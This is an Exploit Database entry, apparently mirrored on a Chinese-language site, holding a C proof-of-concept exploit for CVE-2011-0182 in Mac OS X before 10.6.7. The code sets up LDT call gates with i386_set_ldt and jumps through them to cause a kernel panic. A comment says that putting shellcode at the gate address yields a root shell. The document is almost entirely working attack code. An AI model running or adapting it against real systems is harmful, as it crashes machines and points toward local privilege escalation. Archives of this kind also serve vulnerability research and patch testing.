Apple Mac OSX < 10.6.7 - Kernel Panic (Denial of Service)

• Exploit Database
• 14 阅读

• 作者： hkpco
  日期： 2011-09-28
• 类别：

  • dos
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/17901/

• /*
  	Mac OS X < 10.6.7 Kernel Panic Exploit
  	CVE-2011-0182, Proof Of Concept Code
  
  	Author	- Chanam Park (hkpco)
  	Date	- 2011. 06
  	Contact	- chanam.park@hkpco.kr , http://hkpco.kr , @hkpco
  
  	Thanks for inspiration / x82, riaf.
  */
  // Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32
  
  #include <architecture/i386/table.h>
  #include <i386/user_ldt.h>
  
  #include <unistd.h>
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  
  void dummy_func( void ) { asm volatile( ".byte 0xff" ); }
  
  int main( void )
  {
  	int ret;
  	union ldt_entry cgate, cgate2;
  	char dummy[128] = {0x00,};
  
  	cgate.call_gate.offset00= (unsigned int)dummy_func & 0xffff;
  	cgate.call_gate.offset16= ((unsigned int)dummy_func >> 16) & 0xffff;
  	// You can input shellcode address value here to get the root shell.
  	/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
  	 The normal system has a little different environment.
  	 I have no time for this anymore because of my summer break is over.
  	 So.. Good Luck! */
  
  	cgate.call_gate.argcnt= 0;
  	cgate.call_gate.type= 0xc; // DESC_CALL_GATE
  	cgate.call_gate.dpl = 3;
  	cgate.call_gate.present = 1;
  
  	cgate.call_gate.seg.rpl = 0;
  	cgate.call_gate.seg.ti= 0;
  	cgate.call_gate.seg.index = 16;
  
  	cgate2.call_gate.offset00 = 0x0;
  
  	cgate2.call_gate.seg.rpl= 0;
  	cgate2.call_gate.seg.ti = 0;
  	cgate2.call_gate.seg.index= 0;
  
  	cgate2.call_gate.argcnt = 0;
  	cgate2.call_gate.type = 0;
  	cgate2.call_gate.dpl= 0;
  	cgate2.call_gate.present= 1;
  
  	cgate2.call_gate.offset16 = 0x0;
  
  	printf( "// coded by Chanam Park (hkpco)\n\n" );
  
  	ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );
  	printf( "Selector Number in LDT <1>: 0x%x\n", ret );
  
  	ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );
  	printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );
  
  	printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );
  	printf( "The program will be continued when you input any value.\n" );
  	printf( "-> " );
  	fflush(stdout);
  	scanf( "%s", dummy );
  
  	asm volatile( "lcall $0x3f, $0x0" );
  	// Trigger
  
  	return 0;
  }